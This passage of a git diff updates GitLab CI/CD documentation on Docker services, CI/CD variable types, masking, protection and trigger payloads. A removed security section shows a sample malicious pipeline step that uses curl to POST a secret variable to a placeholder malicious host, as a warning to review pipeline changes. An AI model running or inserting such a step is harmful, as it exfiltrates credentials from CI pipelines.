[PostgreSQL](postgres.md) +- [Redis](redis.md) +- [GitLab](gitlab.md) as an example for a microservice offering a JSON API + +It's easier and faster to use an existing image and run it as an additional container +than to install `mysql`, for example, every time the project is built. + +You're not limited to only database services. You can add as many +services you need to `.gitlab-ci.yml` or manually modify `config.toml`. +Any image found at [Docker Hub](https://hub.docker.com/) or your private Container Registry can be +used as a service. + +Services inherit the same DNS servers, search domains, and additional hosts as +the CI container itself. + +## How services are linked to the job + +To better understand how container linking works, read +[Linking containers together](https://docs.docker.com/engine/userguide/networking/default_network/dockerlinks/). + +If you add `mysql` as service to your application, the image is +used to create a container that's linked to the job container. + +The service container for MySQL is accessible under the hostname `mysql`. +To access your database service, connect to the host named `mysql` instead of a +socket or `localhost`. Read more in [accessing the services](#accessing-the-services). + +## How the health check of services works + +Services are designed to provide additional features which are **network accessible**. +They may be a database like MySQL, or Redis, and even `docker:stable-dind` which +allows you to use Docker-in-Docker. It can be practically anything that's +required for the CI/CD job to proceed, and is accessed by network. + +To make sure this works, the runner: + +1. Checks which ports are exposed from the container by default. +1. Starts a special container that waits for these ports to be accessible. + +If the second stage of the check fails, it prints the warning: `*** WARNING: Service XYZ probably didn't start properly`. +This issue can occur because: + +- There is no opened port in the service. +- The service was not started properly before the timeout, and the port is not + responding. + +In most cases it affects the job, but there may be situations when the job +still succeeds even if that warning was printed. For example: + +- The service was started shortly after the warning was raised, and the job is + not using the linked service from the beginning. In that case, when the + job needed to access the service, it may have been already there waiting for + connections. +- The service container is not providing any networking service, but it's doing + something with the job's directory (all services have the job directory mounted + as a volume under `/builds`). In that case, the service does its job, and + because the job is not trying to connect to it, it does not fail. + +## What services are not for + +As mentioned before, this feature is designed to provide **network accessible** +services. A database is the simplest example of such a service. + +The services feature is not designed to, and does not, add any software from the +defined `services` image(s) to the job's container. + +For example, if you have the following `services` defined in your job, the `php`, +`node` or `go` commands are **not** available for your script, and the job fails: + +```yaml +job: + services: + - php:7 + - node:latest + - golang:1.10 + image: alpine:3.7 + script: + - php -v + - node -v + - go version +``` + +If you need to have `php`, `node` and `go` available for your script, you should +either: + +- Choose an existing Docker image that contains all required tools. +- Create your own Docker image, with all the required tools included, + and use that in your job. + +## Define `services` in the `.gitlab-ci.yml` file + +It's also possible to define different images and services per job: + +```yaml +default: + before_script: + - bundle install + +test:2.6: + image: ruby:2.6 + services: + - postgres:11.7 + script: + - bundle exec rake spec + +test:2.7: + image: ruby:2.7 + services: + - postgres:12.2 + script: + - bundle exec rake spec +``` + +Or you can pass some [extended configuration options](../docker/using_docker_images.md#extended-docker-configuration-options) +for `image` and `services`: + +```yaml +default: + image: + name: ruby:2.6 + entrypoint: ["/bin/bash"] + + services: + - name: my-postgres:11.7 + alias: db-postgres + entrypoint: ["/usr/local/bin/db-postgres"] + command: ["start"] + + before_script: + - bundle install + +test: + script: + - bundle exec rake spec +``` + +## Accessing the services + +Let's say that you need a Wordpress instance to test some API integration with +your application. You can then use for example the +[`tutum/wordpress`](https://hub.docker.com/r/tutum/wordpress/) image in your +`.gitlab-ci.yml` file: + +```yaml +services: + - tutum/wordpress:latest +``` + +If you don't [specify a service alias](#available-settings-for-services), +when the job runs, `tutum/wordpress` is started. You have +access to it from your build container under two hostnames: + +- `tutum-wordpress` +- `tutum__wordpress` + +Hostnames with underscores are not RFC valid and may cause problems in third-party +applications. + +The default aliases for the service's hostname are created from its image name +following these rules: + +- Everything after the colon (`:`) is stripped. +- Slash (`/`) is replaced with double underscores (`__`) and the primary alias + is created. +- Slash (`/`) is replaced with a single dash (`-`) and the secondary alias is + created (requires GitLab Runner v1.1.0 or higher). + +To override the default behavior, you can +[specify a service alias](#available-settings-for-services). + +## Passing CI/CD variables to services + +You can also pass custom CI/CD [variables](../variables/README.md) +to fine tune your Docker `images` and `services` directly in the `.gitlab-ci.yml` file. +For more information, read about [`.gitlab-ci.yml` defined variables](../variables/README.md#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file). + +```yaml +# The following variables are automatically passed down to the Postgres container +# as well as the Ruby container and available within each. +variables: + HTTPS_PROXY: "https://10.1.1.1:8090" + HTTP_PROXY: "https://10.1.1.1:8090" + POSTGRES_DB: "my_custom_db" + POSTGRES_USER: "postgres" + POSTGRES_PASSWORD: "example" + PGDATA: "/var/lib/postgresql/data" + POSTGRES_INITDB_ARGS: "--encoding=UTF8 --data-checksums" + +services: + - name: postgres:11.7 + alias: db + entrypoint: ["docker-entrypoint.sh"] + command: ["postgres"] + +image: + name: ruby:2.6 + entrypoint: ["/bin/bash"] + +before_script: + - bundle install + +test: + script: + - bundle exec rake spec +``` + +## Available settings for `services` + +> Introduced in GitLab and GitLab Runner 9.4. + +| Setting | Required | GitLab version | Description | +|------------|----------|----------------| ----------- | +| `name` | yes, when used with any other option | 9.4 | Full name of the image to use. It should contain the Registry part if needed. | +| `entrypoint` | no | 9.4 |Command or script to execute as the container's entrypoint. It's translated to Docker's `--entrypoint` option while creating the container. The syntax is similar to [`Dockerfile`'s `ENTRYPOINT`](https://docs.docker.com/engine/reference/builder/#entrypoint) directive, where each shell token is a separate string in the array. | +| `command` | no | 9.4 |Command or script that should be used as the container's command. It's translated to arguments passed to Docker after the image's name. The syntax is similar to [`Dockerfile`'s `CMD`](https://docs.docker.com/engine/reference/builder/#cmd) directive, where each shell token is a separate string in the array. | +| `alias` (1) | no | 9.4 |Additional alias that can be used to access the service from the job's container. Read [Accessing the services](#accessing-the-services) for more information. | + +(1) Alias support for the Kubernetes executor was [introduced](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/2229) in GitLab Runner 12.8, and is only available for Kubernetes version 1.7 or later. + +## Starting multiple services from the same image + +> Introduced in GitLab and GitLab Runner 9.4. Read more about the [extended configuration options](../docker/using_docker_images.md#extended-docker-configuration-options). + +Before the new extended Docker configuration options, the following configuration +would not work properly: + +```yaml +services: + - mysql:latest + - mysql:latest +``` + +The runner would start two containers, each that uses the `mysql:latest` image. +However, both of them would be added to the job's container with the `mysql` alias, based on +the [default hostname naming](#accessing-the-services). This would end with one +of the services not being accessible. + +After the new extended Docker configuration options, the above example would +look like: + +```yaml +services: + - name: mysql:latest + alias: mysql-1 + - name: mysql:latest + alias: mysql-2 +``` + +The runner still starts two containers using the `mysql:latest` image, +however now each of them are also accessible with the alias configured +in `.gitlab-ci.yml` file. + +## Setting a command for the service + +> Introduced in GitLab and GitLab Runner 9.4. Read more about the [extended configuration options](../docker/using_docker_images.md#extended-docker-configuration-options). + +Let's assume you have a `super/sql:latest` image with some SQL database +in it. You would like to use it as a service for your job. Let's also +assume that this image does not start the database process while starting +the container. The user needs to manually use `/usr/bin/super-sql run` as +a command to start the database. + +Before the new extended Docker configuration options, you would need to: + +- Create your own image based on the `super/sql:latest` image. +- Add the default command. +- Use the image in the job's configuration: + + ```dockerfile + # my-super-sql:latest image's Dockerfile + + FROM super/sql:latest + CMD ["/usr/bin/super-sql", "run"] + ``` + + ```yaml + # .gitlab-ci.yml + + services: + - my-super-sql:latest + ``` + +After the new extended Docker configuration options, you can +set a `command` in the `.gitlab-ci.yml` file instead: + +```yaml +# .gitlab-ci.yml + +services: + - name: super/sql:latest + command: ["/usr/bin/super-sql", "run"] +``` + +The syntax of `command` is similar to [Dockerfile's `CMD`](https://docs.docker.com/engine/reference/builder/#cmd). + +## How Docker integration works + +Below is a high level overview of the steps performed by Docker during job +time. + +1. Create any service container: `mysql`, `postgresql`, `mongodb`, `redis`. +1. Create a cache container to store all volumes as defined in `config.toml` and + `Dockerfile` of build image (`ruby:2.6` as in above example). +1. Create a build container and link any service container to build container. +1. Start the build container, and send a job script to the container. +1. Run the job script. +1. Checkout code in: `/builds/group-name/project-name/`. +1. Run any step defined in `.gitlab-ci.yml`. +1. Check the exit status of build script. +1. Remove the build container and all created service containers. + +## Debug a job locally + +The following commands are run without root privileges. You should be +able to run Docker with your regular user account. + +First start with creating a file named `build_script`: + +```shell +cat <<EOF > build_script +git clone https://gitlab.com/gitlab-org/gitlab-runner.git /builds/gitlab-org/gitlab-runner +cd /builds/gitlab-org/gitlab-runner +make +EOF +``` + +Here we use as an example the GitLab Runner repository which contains a +Makefile, so running `make` executes the commands defined in the Makefile. +Instead of `make`, you could run the command which is specific to your project. + +Then create some service containers: + +```shell +docker run -d --name service-mysql mysql:latest +docker run -d --name service-postgres postgres:latest +``` + +This creates two service containers, named `service-mysql` and +`service-postgres` which use the latest MySQL and PostgreSQL images +respectively. They both run in the background (`-d`). + +Finally, create a build container by executing the `build_script` file we +created earlier: + +```shell +docker run --name build -i --link=service-mysql:mysql --link=service-postgres:postgres ruby:2.6 /bin/bash < build_script +``` + +The above command creates a container named `build` that's spawned from +the `ruby:2.6` image and has two services linked to it. The `build_script` is +piped using `stdin` to the bash interpreter which in turn executes the +`build_script` in the `build` container. + +When you finish testing and no longer need the containers, you can remove them +with: + +```shell +docker rm -f -v build service-mysql service-postgres +``` + +This forcefully (`-f`) removes the `build` container, the two service +containers, and all volumes (`-v`) that were created with the container +creation. diff --git a/doc/ci/services/mysql.md b/doc/ci/services/mysql.md index 5bd034cbf97..2185af0141d 100644 --- a/doc/ci/services/mysql.md +++ b/doc/ci/services/mysql.md @@ -14,7 +14,7 @@ need it for your tests to run. If you want to use a MySQL container, you can use [GitLab Runner](../runners/README.md) with the Docker executor. -1. [Create CI/CD variables](../variables/README.md#create-a-custom-variable-in-the-ui) for your +1. [Create CI/CD variables](../variables/README.md#custom-cicd-variables) for your MySQL database and password by going to **Settings > CI/CD**, expanding **Variables**, and clicking **Add Variable**. diff --git a/doc/ci/services/postgres.md b/doc/ci/services/postgres.md index 16576069583..8451d56a71c 100644 --- a/doc/ci/services/postgres.md +++ b/doc/ci/services/postgres.md @@ -31,7 +31,7 @@ variables: To set values for the `POSTGRES_DB`, `POSTGRES_USER`, `POSTGRES_PASSWORD` and `POSTGRES_HOST_AUTH_METHOD`, -[assign them to a CI/CD variable in the user interface](../variables/README.md#create-a-custom-variable-in-the-ui), +[assign them to a CI/CD variable in the user interface](../variables/README.md#custom-cicd-variables), then assign that variable to the corresponding variable in your `.gitlab-ci.yml` file. @@ -45,7 +45,7 @@ Database: nice_marmot ``` If you're wondering why we used `postgres` for the `Host`, read more at -[How services are linked to the job](../docker/using_docker_images.md#how-services-are-linked-to-the-job). +[How services are linked to the job](../services/index.md#how-services-are-linked-to-the-job). You can also use any other Docker image available on [Docker Hub](https://hub.docker.com/_/postgres). For example, to use PostgreSQL 9.3, the service becomes `postgres:9.3`. diff --git a/doc/ci/ssh_keys/index.md b/doc/ci/ssh_keys/index.md index 72a99efc9bc..c04ff35212c 100644 --- a/doc/ci/ssh_keys/index.md +++ b/doc/ci/ssh_keys/index.md @@ -36,7 +36,8 @@ with any type of [executor](https://docs.gitlab.com/runner/executors/) `~/.ssh/authorized_keys`) or add it as a [deploy key](../../user/project/deploy_keys/index.md) if you are accessing a private GitLab repository. -The private key is displayed in the job log, unless you enable +In the following example, the `ssh-add -` command does not display the value of +`$SSH_PRIVATE_KEY` in the job log, though it could be exposed if you enable [debug logging](../variables/README.md#debug-logging). You might also want to check the [visibility of your pipelines](../pipelines/settings.md#visibility-of-pipelines). diff --git a/doc/ci/triggers/README.md b/doc/ci/triggers/README.md index fa97cbdfcec..3cdf45a8cbc 100644 --- a/doc/ci/triggers/README.md +++ b/doc/ci/triggers/README.md @@ -188,38 +188,13 @@ source repository. Be sure to URL-encode `ref` if it contains slashes. ### Using webhook payload in the triggered pipeline > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/31197) in GitLab 13.9. -> - It's [deployed behind a feature flag](../../user/feature_flags.md), enabled by default. -> - It's enabled on GitLab.com. -> - It's recommended for production use. -> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-the-trigger_payload-variable). **(FREE SELF)** - -WARNING: -This feature might not be available to you. Check the **version history** note above for details. +> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/321027) in GitLab 13.11. If you trigger a pipeline by using a webhook, you can access the webhook payload with the `TRIGGER_PAYLOAD` [predefined CI/CD variable](../variables/predefined_variables.md). -The payload is exposed as a [file-type variable](../variables/README.md#custom-cicd-variables-of-type-file), +The payload is exposed as a [file-type variable](../variables/README.md#cicd-variable-types), so you can access the data with `cat $TRIGGER_PAYLOAD` or a similar command. -#### Enable or disable the `TRIGGER_PAYLOAD` variable - -The `TRIGGER_PAYLOAD` CI/CD variable is under development but ready for production use. -It is deployed behind a feature flag that is **enabled by default**. -[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md) -can opt to disable it. - -To disable it: - -```ruby -Feature.disable(:ci_trigger_payload_into_pipeline) -``` - -To enable it: - -```ruby -Feature.enable(:ci_trigger_payload_into_pipeline) -``` - ## Making use of trigger variables You can pass any number of arbitrary variables in the trigger API call and they @@ -280,7 +255,7 @@ curl --request POST \ "https://gitlab.example.com/api/v4/projects/9/trigger/pipeline" ``` -Trigger variables have the [highest priority](../variables/README.md#priority-of-cicd-variables) +Trigger variables have the [highest priority](../variables/README.md#cicd-variable-precedence) of all types of variables. ## Using cron to trigger nightly pipelines diff --git a/doc/ci/unit_test_reports.md b/doc/ci/unit_test_reports.md index 2aee5e364ad..c4f3073e142 100644 --- a/doc/ci/unit_test_reports.md +++ b/doc/ci/unit_test_reports.md @@ -41,7 +41,7 @@ Consider the following workflow: ## How it works First, GitLab Runner uploads all [JUnit report format XML files](https://www.ibm.com/support/knowledgecenter/en/SSQ2R2_14.1.0/com.ibm.rsar.analysis.codereview.cobol.doc/topics/cac_useresults_junit.html) -as [artifacts](pipelines/job_artifacts.md#artifactsreportsjunit) to GitLab. Then, when you visit a merge request, GitLab starts +as [artifacts](yaml/README.md#artifactsreportsjunit) to GitLab. Then, when you visit a merge request, GitLab starts comparing the head and base branch's JUnit report format XML files, where: - The base branch is the target branch (usually the default branch). @@ -77,7 +77,7 @@ If a test failed in the project's default branch in the last 14 days, a message ## How to set it up To enable the Unit test reports in merge requests, you need to add -[`artifacts:reports:junit`](pipelines/job_artifacts.md#artifactsreportsjunit) +[`artifacts:reports:junit`](yaml/README.md#artifactsreportsjunit) in `.gitlab-ci.yml`, and specify the path(s) of the generated test reports. The reports must be `.xml` files, otherwise [GitLab returns an Error 500](https://gitlab.com/gitlab-org/gitlab/-/issues/216575). @@ -344,7 +344,7 @@ When [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/6061) is complet If JUnit report format XML files contain an `attachment` tag, GitLab parses the attachment. -Upload your screenshots as [artifacts](pipelines/job_artifacts.md#artifactsreportsjunit) to GitLab. The `attachment` tag **must** contain the absolute path to the screenshots you uploaded. +Upload your screenshots as [artifacts](yaml/README.md#artifactsreportsjunit) to GitLab. The `attachment` tag **must** contain the absolute path to the screenshots you uploaded. ```xml <testcase time="1.00" name="Test"> diff --git a/doc/ci/variables/README.md b/doc/ci/variables/README.md index 5da501d4d8b..20de736a6e6 100644 --- a/doc/ci/variables/README.md +++ b/doc/ci/variables/README.md @@ -7,14 +7,18 @@ type: reference # GitLab CI/CD variables **(FREE)** -CI/CD variables are part of the environment in which [pipelines](../pipelines/index.md) -and jobs run. For example, you could: +CI/CD variables are a type of environment variable. You can use them to: -- Use the value of a `TEMP` variable to know the correct location to store temporary files. -- Use a `DATABASE_URL` variable for the URL to a database that can be reused in different scripts. +- Control the behavior of jobs and [pipelines](../pipelines/index.md). +- Store values you want to re-use. +- Avoid hard-coding values in your `.gitlab-ci.yml` file. -Variables can be used to customize your jobs in [GitLab CI/CD](../README.md). -When you use variables, you don't have to hard-code values. +You can use [predefined CI/CD variables](#predefined-cicd-variables) or define custom: + +- [Variables in the `.gitlab-ci.yml` file](#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file). +- [Project CI/CD variables](#project-cicd-variables). +- [Group CI/CD variables](#group-cicd-variables). +- [Instance CI/CD variables](#instance-cicd-variables). > For more information about advanced use of GitLab CI/CD: > @@ -26,24 +30,14 @@ When you use variables, you don't have to hard-code values. ## Predefined CI/CD variables GitLab CI/CD has a [default set of predefined CI/CD variables](predefined_variables.md) -that you can use without any additional specification. -You can call issue numbers, user names, branch names, -pipeline and commit IDs, and much more. - -Predefined variables are provided by GitLab for the local environment of the runner. - -GitLab reads the `.gitlab-ci.yml` file and sends the information -to the runner, where the variables are exposed. The runner then runs the script commands. +you can use in pipelines configuration and job scripts. ### Use predefined CI/CD variables -You can choose one of the existing predefined CI/CD variables -to be output by the runner. - -This example shows how to output a job's stage by using the predefined variable `CI_JOB_STAGE`. +You can use predefined CI/CD variables in your `.gitlab-ci.yml` without declaring them first. -In your `.gitlab-ci.yml` file, call the variable from your script. Ensure -you use the correct [syntax](#syntax-of-cicd-variables-in-job-scripts). +This example shows how to output a job's stage by using the `CI_JOB_STAGE` +predefined variable: ```yaml test_variable: @@ -52,60 +46,106 @@ test_variable: - echo $CI_JOB_STAGE ``` -In this case, the runner outputs the `stage` for the -job `test_variable`, which is `test`: +The script outputs the `stage` for the `test_variable`, which is `test`:  ## Custom CI/CD variables -When you need a specific custom variable, you can -[set it up in the UI](#create-a-custom-variable-in-the-ui), in [the API](../../api/project_level_variables.md), -or directly [in the `.gitlab-ci.yml` file](#create-a-custom-variable-in-gitlab-ciyml). +You can create custom CI/CD variables: -The variables are used by the runner any time the pipeline runs. -You can also [override variable values manually for a specific pipeline](../jobs/index.md#specifying-variables-when-running-manual-jobs), +- For a project: + - [In the project's `.gitlab-ci.yml` file](#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file). + - [In the project's settings](#project-cicd-variables). + - [With the API](../../api/project_level_variables.md). +- For all projects in a group [in the group's setting](#group-cicd-variables). +- For all projects in a GitLab instance [in the instance's settings](#instance-cicd-variables). + +You can [override variable values manually for a specific pipeline](../jobs/index.md#specifying-variables-when-running-manual-jobs), or have them [prefilled in manual pipelines](../pipelines/index.md#prefill-variables-in-manual-pipelines). -There are two types of variables: **Variable** and **File**. You cannot set types in -the `.gitlab-ci.yml` file, but you can set them in the UI and API. +There are two types of variables: [`File` or `Variable`](#cicd-variable-types). + +Variable names are limited by the [shell the runner uses](https://docs.gitlab.com/runner/shells/index.html) +to execute scripts. Each shell has its own set of reserved variable names. + +Make sure each variable is defined for the [scope you want to use it in](where_variables_can_be_used.md). -### Create a custom variable in `.gitlab-ci.yml` +### Create a custom CI/CD variable in the `.gitlab-ci.yml` file -To create a custom `env_var` variable in the [`.gitlab-ci.yml`](../yaml/README.md#variables) file, -define the variable/value pair under `variables`: +To create a custom variable in the [`.gitlab-ci.yml`](../yaml/README.md#variables) file, +define the variable and value with `variables` keyword. + +You can use the `variables` keyword in a job or at the top level of the `.gitlab-ci.yml` file. +If the variable is at the top level, it's globally available and all jobs can use it. +If it's defined in a job, only that job can use it. ```yaml variables: - TEST: "HELLO WORLD" + TEST_VAR: "All jobs can use this variable's value" + +job1: + variables: + TEST_VAR_JOB: "Only job1 can use this variable's value" + script: + - echo $TEST_VAR and $TEST_VAR_JOB +``` + +Variables saved in the `.gitlab-ci.yml` file should store only non-sensitive project +configuration, like a `RAILS_ENV` or `DATABASE_URL` variable. These variables are +visible in the repository. Store sensitive variables containing secrets, keys, and so on +in project settings. + +Variables saved in the `.gitlab-ci.yml` file are also available in [service containers](../docker/using_docker_images.md). + +If you don't want globally defined variables to be available in a job, set `variables` +to `{}`: + +```yaml +job1: + variables: {} + script: + - echo This job does not need any variables ``` -You can then call its value in your script: +You can use variables to help define other variables. Use `$$` to ignore a variable +name inside another variable: ```yaml +variables: + FLAGS: '-al' + LS_CMD: 'ls $FLAGS $$TMP_DIR' script: - - echo "$TEST" + - 'eval $LS_CMD' # Executes 'ls -al $TMP_DIR' ``` -For more details, see [`.gitlab-ci.yml` defined variables](#gitlab-ciyml-defined-variables). +Use the [`value` and `description`](../yaml/README.md#prefill-variables-in-manual-pipelines) +keywords to define [variables that are prefilled](../pipelines/index.md#prefill-variables-in-manual-pipelines) +for [manually-triggered pipelines](../pipelines/index.md#run-a-pipeline-manually). + +### Project CI/CD variables -### Create a custom variable in the UI +You can add CI/CD variables to a project's settings. Only project members with +[maintainer permissions](../../user/permissions.md#project-members-permissions) +can add or update project CI/CD variables. To keep a CI/CD variable secret, put it +in the project settings, not in the `.gitlab-ci.yml` file. -From the UI, you can add or update custom variables: +To add or update variables in the project settings: 1. Go to your project's **Settings > CI/CD** and expand the **Variables** section. -1. Click the **Add Variable** button. In the **Add variable** modal, fill in the details: - - - **Key**: Must be one line, with no spaces, using only letters, numbers, or `_`. - - **Value**: No limitations. - - **Type**: `File` or `Variable`. - - **Environment scope**: `All`, or specific [environments](../environments/index.md). - - **Protect variable** (Optional): If selected, the variable is only available in pipelines that run on protected branches or tags. - - **Mask variable** (Optional): If selected, the variable's **Value** is masked in job logs. The variable fails to save if the value does not meet the [masking requirements](#masked-variable-requirements). +1. Select the **Add Variable** button and fill in the details: -After a variable is created, you can update any of the details by clicking the **{pencil}** **Edit** button. + - **Key**: Must be one line, with no spaces, using only letters, numbers, or `_`. + - **Value**: No limitations. + - **Type**: [`File` or `Variable`](#cicd-variable-types). + - **Environment scope**: `All`, or specific [environments](../environments/index.md). + - **Protect variable** (Optional): If selected, the variable is only available + in pipelines that run on protected branches or tags. + - **Mask variable** (Optional): If selected, the variable's **Value** is masked + in job logs. The variable fails to save if the value does not meet the + [masking requirements](#mask-a-cicd-variable). -After you set a variable, call it from the `.gitlab-ci.yml` file: +After you create a variable, you can use it in the `.gitlab-ci.yml` file: ```yaml test_variable: @@ -121,114 +161,181 @@ The output is:  -Variables can only be updated or viewed by project members with [maintainer permissions](../../user/permissions.md#project-members-permissions). +### Group CI/CD variables -#### Security +> - Introduced in GitLab 9.4. +> - Support for [environment scopes](https://gitlab.com/gitlab-org/gitlab/-/issues/2874) added to GitLab Premium in 13.11 -Malicious code pushed to your `.gitlab-ci.yml` file could compromise your variables and send them to a third party server regardless of the masked setting. If the pipeline runs on a [protected branch](../../user/project/protected_branches.md) or [protected tag](../../user/project/protected_tags.md), it could also compromise protected variables. +To make a CI/CD variable available to all projects in a group, define a group CI/CD variable. -All merge requests that introduce changes to `.gitlab-ci.yml` should be reviewed carefully before: +Use group variables to store secrets like passwords, SSH keys, and credentials, if you: -- [Running a pipeline in the parent project for a merge request submitted from a forked project](../merge_request_pipelines/index.md#run-pipelines-in-the-parent-project-for-merge-requests-from-a-forked-project). -- Merging the changes. +- Do **not** use an external key store. +- Use the GitLab [integration with HashiCorp Vault](../secrets/index.md). -Here is a simplified example of a malicious `.gitlab-ci.yml`: +To add a group variable: -```yaml -build: - script: - - curl --request POST --data "secret_variable=$SECRET_VARIABLE" "https://maliciouswebsite.abcd/" -``` +1. In the group, go to **Settings > CI/CD**. +1. Select the **Add Variable** button and fill in the details: -### Custom CI/CD variables of type Variable + - **Key**: Must be one line, with no spaces, using only letters, numbers, or `_`. + - **Value**: No limitations. + - **Type**: [`File` or `Variable`](#cicd-variable-types). + - **Environment scope** (optional): `All`, or specific [environments](#limit-the-environment-scope-of-a-cicd-variable). + - **Protect variable** (Optional): If selected, the variable is only available + in pipelines that run on protected branches or tags. + - **Mask variable** (Optional): If selected, the variable's **Value** is masked + in job logs. The variable fails to save if the value does not meet the + [masking requirements](#mask-a-cicd-variable). -> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/46806) in GitLab 11.11. +To view the group-level variables available in a project: + +1. In the project, go to **Settings > CI/CD**. +1. Expand the **Variables** section. + +Variables from [subgroups](../../user/group/subgroups/index.md) are recursively +inherited. + + -For variables with the type **Variable**, the runner creates an environment variable -that uses the key for the name and the value for the value. +### Instance CI/CD variables -There are [some predefined variables](#custom-variables-validated-by-gitlab) of this type, -which may be further validated. They appear when you add or update a variable in the UI. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/14108) in GitLab 13.0. +> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/299879) in GitLab 13.11. -### Custom CI/CD variables of type File +To make a CI/CD variable available to all projects and groups in a GitLab instance, +define an instance CI/CD variable. + +You can define instance variables via the UI or [API](../../api/instance_level_ci_variables.md). + +To add an instance variable: + +1. Navigate to your Admin Area's **Settings > CI/CD** and expand the **Variables** section. +1. Select the **Add variable** button, and fill in the details: + + - **Key**: Must be one line, with no spaces, using only letters, numbers, or `_`. + - **Value**: [In GitLab 13.3 and later](https://gitlab.com/gitlab-org/gitlab/-/issues/220028), + 10,000 characters is allowed. This is also bounded by the limits of the selected + runner operating system. In GitLab 13.0 to 13.2, 700 characters is allowed. + - **Type**: [`File` or `Variable`](#cicd-variable-types). + - **Protect variable** (Optional): If selected, the variable is only available + in pipelines that run on protected branches or tags. + - **Mask variable** (Optional): If selected, the variable's **Value** is not shown + in job logs. The variable is not saved if the value does not meet the [masking requirements](#mask-a-cicd-variable). + +### CI/CD variable types > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/46806) in GitLab 11.11. -For variables with the type **File**, the runner creates an environment variable that uses the key for the name. -For the value, the runner writes the variable value to a temporary file and uses this path. +All predefined CI/CD variables and variables defined in the `.gitlab-ci.yml` file +are `Variable` type. Project, group and instance CI/CD variables can be `Variable` +or `File` type. -You can use tools like [the AWS CLI](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-envvars.html) +`Variable` type variables: + +- Consist of a key and value pair. +- Are made available in jobs as environment variables, with: + - The CI/CD variable key as the environment variable name. + - The CI/CD variable value as the environment variable value. + +Use `File` type CI/CD variables for tools that need a file as input. + +`File` type variables: + +- Consist of a key, value and file. +- Are made available in jobs as environment variables, with + - The CI/CD variable key as the environment variable name. + - The CI/CD variable value saved to a temporary file. + - The path to the temporary file as the environment variable value. + +Some tools like [the AWS CLI](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-envvars.html) and [`kubectl`](https://kubernetes.io/docs/concepts/configuration/organize-cluster-access-kubeconfig/#the-kubeconfig-environment-variable) -to customize your configuration by using **File** type variables. +use `File` type variables for configuration. + +For example, if you have the following variables: -Previously, a common pattern was to read the value of a CI/CD variable, save it in a file, and then -use that file in your script: +- A variable of type `Variable`: `KUBE_URL` with the value `https://example.com`. +- A variable of type `File`: `KUBE_CA_PEM` with a certificate as the value. + +Use the variables in a job script like this: ```shell -# Read certificate stored in $KUBE_CA_PEM variable and save it in a new file -echo "$KUBE_CA_PEM" > "$(pwd)/kube.ca.pem" -# Pass the newly created file to kubectl -kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$(pwd)/kube.ca.pem" +kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$KUBE_CA_PEM" ``` -Instead of this, you can use a **File** type variable. For example, if you have the following variables: - -- A variable of type **Variable**: `KUBE_URL` with the value `https://example.com`. -- A variable of type **File**: `KUBE_CA_PEM` with a certificate as the value. +An alternative to `File` type variables is to: -You can call them from `.gitlab-ci.yml`, like this: +- Read the value of a CI/CD variable (`variable` type). +- Save the value in a file. +- Use that file in your script. ```shell -kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$KUBE_CA_PEM" +# Read certificate stored in $KUBE_CA_PEM variable and save it in a new file +echo "$KUBE_CA_PEM" > "$(pwd)/kube.ca.pem" +# Pass the newly created file to kubectl +kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$(pwd)/kube.ca.pem" ``` -### Mask a custom variable +### Mask a CI/CD variable > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/13784) in GitLab 11.10 -Variables can be masked so that the value of the variable is hidden in job logs. +You can mask a project, group, or instance CI/CD variable so the value of the variable +does not display in job logs. To mask a variable: -1. Go to **Settings > CI/CD**. +1. Go to **Settings > CI/CD** in the project, group or instance admin area. 1. Expand the **Variables** section. -1. Next to the variable you want to protect, click **Edit**. +1. Next to the variable you want to protect, select **Edit**. 1. Select the **Mask variable** check box. -1. Click **Update variable**. - -#### Masked variable requirements +1. Select **Update variable**. The value of the variable must: -- Be in a single line. -- Be at least 8 characters long. -- Not be a predefined or custom CI/CD variable. -- Consist only of: +- Be a single line. +- Be 8 characters or longer, consisting only of: - Characters from the Base64 alphabet (RFC4648). - The `@` and `:` characters ([In GitLab 12.2](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/63043) and later). - The `.` character ([In GitLab 12.10](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/29022) and later). +- Not match the name of an existing predefined or custom CI/CD variable. -You can't mask variables that don't meet these requirements. +### Protect a CI/CD variable -### Protect a custom variable - -> Introduced in GitLab 9.3. - -Variables can be protected. When a variable is -protected, it is only passed to pipelines running on -[protected branches](../../user/project/protected_branches.md) or [protected tags](../../user/project/protected_tags.md). The other pipelines do not get -the protected variable. +You can protect a project, group or instance CI/CD variable so it is only passed +to pipelines running on [protected branches](../../user/project/protected_branches.md) +or [protected tags](../../user/project/protected_tags.md). To protect a variable: -1. Go to **Settings > CI/CD**. +1. Go to **Settings > CI/CD** in the project, group or instance admin area. 1. Expand the **Variables** section. -1. Next to the variable you want to protect, click **Edit**. +1. Next to the variable you want to protect, select **Edit**. 1. Select the **Protect variable** check box. -1. Click **Update variable**. +1. Select **Update variable**. The variable is available for all subsequent pipelines. +### CI/CD variable security + +Malicious code pushed to your `.gitlab-ci.yml` file could compromise your variables +and send them to a third party server regardless of the masked setting. If the pipeline +runs on a [protected branch](../../user/project/protected_branches.md) or +[protected tag](../../user/project/protected_tags.md), malicious code can compromise protected variables. + +Review all merge requests that introduce changes to the `.gitlab-ci.yml` file before you: + +- [Run a pipeline in the parent project for a merge request submitted from a forked project](../merge_request_pipelines/index.md#run-pipelines-in-the-parent-project-for-merge-requests-from-a-forked-project). +- Merge the changes. + +The following example shows malicious code in a `.gitlab-ci.yml` file: + +```yaml +build: + script: 